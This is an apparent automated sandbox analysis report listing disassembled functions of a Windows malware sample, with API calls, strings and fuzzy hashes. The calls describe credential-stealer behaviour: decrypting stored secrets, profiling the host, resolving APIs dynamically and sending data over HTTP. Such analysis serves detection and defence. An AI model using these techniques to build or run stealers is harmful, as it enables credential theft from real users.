Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: P2#v$\*.*$1#v
API String ID: 433455689-2075649900
Opcode ID: 1052282b3288cbabb535e2904fb67c8a9bdeb1cd667edfac78686b8e0b1ea172
Instruction ID: a8aa4bac1dd2552bcca1cf341e4a88dc2dd4bfbc118769f1ec19e8a8305ef494
Opcode Fuzzy Hash: 1052282b3288cbabb535e2904fb67c8a9bdeb1cd667edfac78686b8e0b1ea172
Instruction Fuzzy Hash: AB122471A101149BCB14FB61EC66EEE7339AF54308F4145AEB50A63091EF38ABC9CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00414560 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

GetKeyboardLayoutList.USER32(00000000,00000000,0041D146), ref: 0041458E
LocalAlloc.KERNEL32(00000040,?), ref: 004145A6
GetKeyboardLayoutList.USER32(?,00000000), ref: 004145BA
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0041460F
LocalFree.KERNEL32(00000000), ref: 004146CF

Strings

/ , xrefs: 0041462C

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 2ca4019a055fc3c2437e30aad8e3df27c23ea6e396a8c3b5598e5e3df4015641
Instruction ID: 5766e8fd181ccb4bcbae14092d34263f2fb559dd155eb9d852ce37c304b9c71e
Opcode Fuzzy Hash: 2ca4019a055fc3c2437e30aad8e3df27c23ea6e396a8c3b5598e5e3df4015641
Instruction Fuzzy Hash: F4415875940228ABCB24EF50DC89BEDB375BF84308F2081DAA10A67191DB786FC5CF54

Uniqueness

Uniqueness Score: -1.00%

Function 61EAD2AC Relevance: 6.6, Strings: 5, Instructions: 334COMMON

Download Yara Rule

Strings

NOCASE, xrefs: 61EAD4C8
kqa, xrefs: 61EAD645
RTRIM, xrefs: 61EAD507
BINARY, xrefs: 61EAD40C, 61EAD478, 61EAD4A0
main, xrefs: 61EAD638

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: strcmp
String ID: BINARY$NOCASE$RTRIM$kqa$main
API String ID: 1004003707-114998471
Opcode ID: 63c7074db6d6fe0aa6c76bc84cda0ceb0757af10bd78b0421fb8494905693741
Instruction ID: 60bcc8b0197c989f7013f8b1edc5a9d28cf944306873f66ca73508c1f88d5ce1
Opcode Fuzzy Hash: 63c7074db6d6fe0aa6c76bc84cda0ceb0757af10bd78b0421fb8494905693741
Instruction Fuzzy Hash: DEE149B4A087858BEB00DF68C59474ABBF1BF89308F24C86DEC989F395D779C8458B51

Uniqueness

Uniqueness Score: -1.00%

Function 00414DD0 Relevance: 6.1, APIs: 4, Instructions: 60processCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00414DF7
Process32First.KERNEL32(00000000,00000128), ref: 00414E0B
Process32Next.KERNEL32(00000000,00000128), ref: 00414E20

Part of subcall function 00416FA0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FB5
Part of subcall function 00416FA0: lstrcpy.KERNEL32(00000000), ref: 00416FF4
Part of subcall function 00416FA0: lstrcat.KERNEL32(00000000,00000000), ref: 00417002

Part of subcall function 00416E90: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416EF5

FindCloseChangeNotification.KERNEL32(00000000), ref: 00414E8E

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 3491751439-0
Opcode ID: ee14937f6c62b96ad5444fb86a63cd7c5773a6b46f284839131ed44d51e3ffe5
Instruction ID: f077dbc1a325593507dfc795214ecfd57d01e7b053a503fe43932f4ef366c8a4
Opcode Fuzzy Hash: ee14937f6c62b96ad5444fb86a63cd7c5773a6b46f284839131ed44d51e3ffe5
Instruction Fuzzy Hash: 5F210B719006189BCB24EF51EC95BDEB379AF54304F5041DEA50AA6190DF38ABC5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 004144A0 Relevance: 6.0, APIs: 4, Instructions: 32memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,?,02C56CA0,00000000,?,0041D758,00000000,?,00000000,00000000,?,02C57668,00000000), ref: 004144B0
HeapAlloc.KERNEL32(00000000), ref: 004144B7
GetTimeZoneInformation.KERNEL32(?), ref: 004144CA
wsprintfA.USER32 ref: 00414504

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: 3e8ee039c0baa52381bc867147264b9e0472758f99ecf5fc77eb662dd471fe6c
Instruction ID: de68a96bfbf015f51ed1ceeaa6da3525d7ad5053711171ec4d4e85c4e1d4f27a
Opcode Fuzzy Hash: 3e8ee039c0baa52381bc867147264b9e0472758f99ecf5fc77eb662dd471fe6c
Instruction Fuzzy Hash: 43F06770E047289BDB309B60DD49BA9737ABB44311F0002D5EA0AA3291DB749E85CF87

Uniqueness

Uniqueness Score: -1.00%

Function 00409540 Relevance: 4.5, APIs: 3, Instructions: 49memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409564
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409583
LocalFree.KERNEL32(?), ref: 004095AF

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 74014fdc2bab253f711dc77e4a6e820aa676e2fde243e68cdbd21e113dd50bc4
Instruction ID: bfe384cb7eed728ca84dec8a1b593aa1292894e4d0cc1bd7dde517e5c8d3fe0d
Opcode Fuzzy Hash: 74014fdc2bab253f711dc77e4a6e820aa676e2fde243e68cdbd21e113dd50bc4
Instruction Fuzzy Hash: A311B7B8A00609EFCB04DF94C984AAE77B5FF89301F104599E915A7390D734AE51CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 004143B0 Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00401177,02C523D0,004136DB,0041D6E3), ref: 004143BD
HeapAlloc.KERNEL32(00000000), ref: 004143C4
GetUserNameA.ADVAPI32(?,00000104), ref: 004143DC

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 19f43c5935948d257337b5cfe167422182bb8e9e8b16b88c7073f3e19bcb2857
Instruction ID: fd22aaf49eebc4deedfa71bce2fb200d05227bfc9b63873cd8cb515d50d954e6
Opcode Fuzzy Hash: 19f43c5935948d257337b5cfe167422182bb8e9e8b16b88c7073f3e19bcb2857
Instruction Fuzzy Hash: 2CE08CB490070CFFCB20EFE4DC49E9CBBB8AB08312F000184FA09E3280DB7056848B91

Uniqueness

Uniqueness Score: -1.00%

Function 61E75F1F Relevance: 3.3, Strings: 2, Instructions: 815COMMON

Download Yara Rule

Strings

recursive reference in a subquery: %s, xrefs: 61E76A54
multiple recursive references: %s, xrefs: 61E76A4B

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID:
String ID: multiple recursive references: %s$recursive reference in a subquery: %s
API String ID: 0-3854365051
Opcode ID: 297298a0f659725ea1119cf4835fa01018d93a3eeff2d039f5330e37d216fd09
Instruction ID: 7d5e909c26c2478cc4d8a1152a5e5b16c7ea0641b558a5fde8b477d39de8e8ad
Opcode Fuzzy Hash: 297298a0f659725ea1119cf4835fa01018d93a3eeff2d039f5330e37d216fd09
Instruction Fuzzy Hash: 4E8207B4A052899FEB25CFA8C180B9DBBF1BF48308F24C559E859AB355D734E846CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00401120 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004136C7,0041D6E3), ref: 0040112A
ExitProcess.KERNEL32 ref: 0040113E

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 0c78e0eb242a3f19764e03ad46aab426447ce2b04c76b8959ffb9729e3075d63
Instruction ID: 30efb513975bfe185fa80fb3a8f84b393628ccfbb0aa9170a1b214bc368b0093
Opcode Fuzzy Hash: 0c78e0eb242a3f19764e03ad46aab426447ce2b04c76b8959ffb9729e3075d63
Instruction Fuzzy Hash: B6D05E7490020C8BCB14DFE09A496DDBBB9AB8D711F001455DD0572240DA305441CA65

Uniqueness

Uniqueness Score: -1.00%

Function 61E4B8A1 Relevance: 1.6, APIs: 1, Instructions: 323COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E4BBA6

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: c2002dce9f5e4d7c2b5f78abcb95225e97438571cbdf1746bfb7f61ccb496e17
Instruction ID: 0d30bdf3ca1535cc6e9debfec2a3fa3a34d16498aff86589297f71c0a5a37c1e
Opcode Fuzzy Hash: c2002dce9f5e4d7c2b5f78abcb95225e97438571cbdf1746bfb7f61ccb496e17
Instruction Fuzzy Hash: 7DC15D30E082858BEB15CFA8E4D079D7AF1AF8831CF29C46DD8469B349EB74D885CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00415EC0 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,02C36D98), ref: 00415F01
GetProcAddress.KERNEL32(76210000,02C36BB8), ref: 00415F1A
GetProcAddress.KERNEL32(76210000,02C36CF0), ref: 00415F32
GetProcAddress.KERNEL32(76210000,02C36AB0), ref: 00415F4A
GetProcAddress.KERNEL32(76210000,02C36BD0), ref: 00415F63
GetProcAddress.KERNEL32(76210000,02C52440), ref: 00415F7B
GetProcAddress.KERNEL32(76210000,02C50530), ref: 00415F93
GetProcAddress.KERNEL32(76210000,02C50550), ref: 00415FAC
GetProcAddress.KERNEL32(76210000,02C36C48), ref: 00415FC4
GetProcAddress.KERNEL32(76210000,02C36C30), ref: 00415FDC
GetProcAddress.KERNEL32(76210000,02C528A0), ref: 00415FF5
GetProcAddress.KERNEL32(76210000,02C52888), ref: 0041600D
GetProcAddress.KERNEL32(76210000,02C50330), ref: 00416025
GetProcAddress.KERNEL32(76210000,02C528B8), ref: 0041603E
GetProcAddress.KERNEL32(76210000,02C52798), ref: 00416056
GetProcAddress.KERNEL32(76210000,02C50230), ref: 0041606E
GetProcAddress.KERNEL32(76210000,02C528D0), ref: 00416087
GetProcAddress.KERNEL32(76210000,02C52870), ref: 0041609F
GetProcAddress.KERNEL32(76210000,02C50390), ref: 004160B7
GetProcAddress.KERNEL32(76210000,02C528E8), ref: 004160D0
GetProcAddress.KERNEL32(76210000,02C504B0), ref: 004160E8
LoadLibraryA.KERNEL32(02C526A8,?,004136B0), ref: 004160FA
LoadLibraryA.KERNEL32(02C52858,?,004136B0), ref: 0041610B
LoadLibraryA.KERNEL32(02C52810,?,004136B0), ref: 0041611D
LoadLibraryA.KERNEL32(02C526C0,?,004136B0), ref: 0041612F
LoadLibraryA.KERNEL32(02C526D8,?,004136B0), ref: 00416140
GetProcAddress.KERNEL32(75B30000,02C52918), ref: 00416162
GetProcAddress.KERNEL32(751E0000,02C527C8), ref: 00416183
GetProcAddress.KERNEL32(751E0000,02C52840), ref: 0041619B
GetProcAddress.KERNEL32(76910000,02C52720), ref: 004161BD
GetProcAddress.KERNEL32(75670000,02C50490), ref: 004161DE
GetProcAddress.KERNEL32(77310000,02C522F0), ref: 004161FF
GetProcAddress.KERNEL32(77310000,NtQueryInformationProcess), ref: 00416216

Strings

NtQueryInformationProcess, xrefs: 0041620A
Fs, xrefs: 004161A1

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: Fs$NtQueryInformationProcess
API String ID: 2238633743-1241331114
Opcode ID: 4bf4faa6d80337b6a8c58e308678245154ae8b5c2676724c8d6fcdc68551e2bc
Instruction ID: 3734aeff5edd822e51619b29fc72ad227a81f6172f231983ee8f235523a2dd82
Opcode Fuzzy Hash: 4bf4faa6d80337b6a8c58e308678245154ae8b5c2676724c8d6fcdc68551e2bc
Instruction Fuzzy Hash: 92A171B5910E10AFC374DFA8FE88A1637BBBBCC3117016519A60AC72A0DF759482CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00404DC0 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D90: lstrcpy.KERNEL32(?,00000000), ref: 00416DD6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

lstrlen.KERNEL32(00000000), ref: 00404E4A

Part of subcall function 00415590: CryptBinaryToStringA.CRYPT32(00000000,>N@,40000001,00000000,00000000), ref: 004155B0

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
StrCmpCA.SHLWAPI(?,02C52620), ref: 00404ED9
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404FF4
HttpOpenRequestA.WININET(00000000,02C524D0,?,02C58508,00000000,00000000,00400100,00000000), ref: 00405058

Part of subcall function 00416FA0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FB5
Part of subcall function 00416FA0: lstrcpy.KERNEL32(00000000), ref: 00416FF4
Part of subcall function 00416FA0: lstrcat.KERNEL32(00000000,00000000), ref: 00417002

Part of subcall function 00416E90: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416EF5

Part of subcall function 00416F10: lstrcpy.KERNEL32(00000000,?), ref: 00416F62
Part of subcall function 00416F10: lstrcat.KERNEL32(00000000), ref: 00416F72

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,02C58908,00000000,?,02C31588,00000000,?,0041E098,00000000,?,00410996), ref: 004053EB
lstrlen.KERNEL32(00000000), ref: 004053FF
GetProcessHeap.KERNEL32(00000000,?), ref: 00405410
HeapAlloc.KERNEL32(00000000), ref: 00405417
lstrlen.KERNEL32(00000000), ref: 0040542C
memcpy.MSVCRT ref: 00405443
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 0040545D
memcpy.MSVCRT ref: 0040546A
lstrlen.KERNEL32(00000000), ref: 0040547C
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00405495
memcpy.MSVCRT ref: 004054A5
lstrlen.KERNEL32(00000000,?,?), ref: 004054C2
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 004054D6
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00405501
InternetCloseHandle.WININET(00000000), ref: 00405565
InternetCloseHandle.WININET(00000000), ref: 00405572
InternetCloseHandle.WININET(00000000), ref: 0040557C

Strings

", xrefs: 004053BA
", xrefs: 00405278
------, xrefs: 0040506B
", xrefs: 00405136
------, xrefs: 004052EF
--, xrefs: 00404F34
------, xrefs: 004051AD
------, xrefs: 00404F4B

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 2633831070-2774362122
Opcode ID: c3dcfa234759946276b577f09544805cae28708421ce062ac84517bbe6eb3e0c
Instruction ID: 260f85c3a7b9c22eb7c1cbdcbe243c599936c16c4da1d0bdd96b1b8683ee68d2
Opcode Fuzzy Hash: c3dcfa234759946276b577f09544805cae28708421ce062ac84517bbe6eb3e0c
Instruction Fuzzy Hash: DE324472920118ABDB14EBA1EC51FEE7779BF54704F4141AEF10663092DF386A89CF68

Uniqueness

Uniqueness Score: -1.00%

Function 00405610 Relevance: 46.0, APIs: 19, Strings: 7, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D90: lstrcpy.KERNEL32(?,00000000), ref: 00416DD6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004056A8
StrCmpCA.SHLWAPI(?,02C52620), ref: 004056C3
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405843
lstrlen.KERNEL32(00000000,00000000,?,?,00000000,?,",00000000,?,02C588C8,00000000,?,02C31588,00000000,?,0041E0D8), ref: 00405B1E
lstrlen.KERNEL32(00000000), ref: 00405B2F
GetProcessHeap.KERNEL32(00000000,?), ref: 00405B40
HeapAlloc.KERNEL32(00000000), ref: 00405B47
lstrlen.KERNEL32(00000000), ref: 00405B5C
memcpy.MSVCRT ref: 00405B73
lstrlen.KERNEL32(00000000), ref: 00405B85
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00405B9E
memcpy.MSVCRT ref: 00405BAB
lstrlen.KERNEL32(00000000,?,?), ref: 00405BC8
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405BDC
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405BF9
InternetCloseHandle.WININET(00000000), ref: 00405C5D
InternetCloseHandle.WININET(00000000), ref: 00405C6A
HttpOpenRequestA.WININET(00000000,02C524D0,?,02C58508,00000000,00000000,00400100,00000000), ref: 004058A8

Part of subcall function 00416FA0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FB5
Part of subcall function 00416FA0: lstrcpy.KERNEL32(00000000), ref: 00416FF4
Part of subcall function 00416FA0: lstrcat.KERNEL32(00000000,00000000), ref: 00417002

Part of subcall function 00416E90: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416EF5

Part of subcall function 00416F10: lstrcpy.KERNEL32(00000000,?), ref: 00416F62
Part of subcall function 00416F10: lstrcat.KERNEL32(00000000), ref: 00416F72

InternetCloseHandle.WININET(00000000), ref: 00405C74

Strings

-A, xrefs: 0040566F, 00405D14, 004056F7, 00405700, 0040576E, 004057E5, 004058E3, 00405A24, 00405771, 004057E8, 004058E6, 00405A27
------, xrefs: 004058BB
-A, xrefs: 00405620, 00405D27, 00405623
", xrefs: 00405AC6
", xrefs: 00405985
------, xrefs: 004059FC
------, xrefs: 00405746

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$-A$-A
API String ID: 148854478-602752961
Opcode ID: 99936bb54df727ef16a4333484561ff40eeb5a2e810478441b29ee034a28614d
Instruction ID: 4cea2b3f58e9905ca9306bda8b5afbbab6785a7940c4f207cd78b75163cb777a
Opcode Fuzzy Hash: 99936bb54df727ef16a4333484561ff40eeb5a2e810478441b29ee034a28614d
Instruction Fuzzy Hash: 22125272920118ABCB14EBA1EC95FDE7779BF54704F4141AEB10663091DF386B89CF68

Uniqueness

Uniqueness Score: -1.00%

Function 0040A030 Relevance: 32.0, APIs: 21, Instructions: 494
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00417060: StrCmpCA.SHLWAPI(00000000,0041DBD0,0040C8F2,0041DBD0,00000000), ref: 0041707F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040A362
RtlAllocateHeap.NTDLL(00000000), ref: 0040A369
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A14A

